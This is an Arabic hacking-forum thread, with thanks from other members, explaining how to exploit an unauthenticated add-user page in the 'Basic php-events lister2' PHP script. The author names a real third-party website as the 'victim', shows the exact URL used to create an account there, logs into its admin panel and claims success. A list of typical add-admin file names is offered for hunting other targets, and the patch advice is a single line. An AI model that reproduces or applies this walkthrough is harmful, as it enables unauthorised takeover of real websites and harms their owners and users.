=>|| شرح + استغلال ثغرآت الـ Add Admin

[bleu moon]

السلآم عليكم


كيفكم ياشبآب ؟

اليوم درسنآ بيكون تطبيق مبآشر على ثغرة add user

تحصلوها على الرآبط التآلي :
http://www.exploit-db.com/exploits/10515/

الثغرة في سكربت : Basic php-events lister2


=================================


The exploit :
Get in :

http://localhost/path/admin/add_user.php

and add your user ..

Example : r7e@hotmail.com - 123456

Then get in :

http://localhost/path/admin/login.php

=================================



------------------------------------------
​

شرح exploit

يعني الاستغلال

http://localhost/path/admin/add_user.php

http://localhost <<< الموقع المصاب
/path/ <<< الملف المصاب
admin <<< مجلد الآدمن او لوحتة الادارة ...
/add_user.php <<< من اسمووووا ضاهر شو بيعمل
اضافة يوزر جديد


------------------------------------------

#####################################################

انا جبت الضحيه


http://easttexassolutions.com/events


نجي للتطبيق !

http://easttexassolutions.com/events

بعدها الى هنا

admin/add_user.php


يعني هيك

http://easttexassolutions.com/events/admin/add_user.php

الآن ادخل ايمايلك + الباس

^_^

username and password successfuly inserted!

Login successful!

بعدها

http://easttexassolutions.com/events/admin

get your msn + pass ...



الآن انت داخل لوحة تحكم الآدمن



#####################################################


*************************************************

تم استغلآل الثغرة بنجآح

ملاحضة مهمة :

بآقلكم ثغرآت الـ Add Admin عآدة لها ملفآت محدده ووآضحه

مثل

addadmin.php

add_admin.php

admin_add.php

user_add.php

add_user.php

...

وعآدة تكون ورآ لوحة التحكم ADMIN or cpanel ...



تغرة جميلة ؟

:love:


///////////////////////////////////////////////



طريقة الترقيع بسيطة وهي حذف ملف add_user.php or ...

​

 

[bleu moon]

آسف على التقصير في الشرح، انشاء الله شرح فيديوا، في انتضار نزول تغرات جديدة من هذا النوع

 

[k4$p3r-MA]

ههههه مشكور اخي نور الدين

 

[Hαcĸer'ѕ Kιɴɢ]

تسلم أخي نوردين
إن شاء الله يستفيد منها الأعضاء
في أمان الله

 

[ReD-HaT]

بارك الله فيك
​

 

[bleu moon]

مشكورين يا احلا اعضاء

 

[KaLa$nikoV]

ابداع

ما قصرت

 

[bleu moon]

^_^
​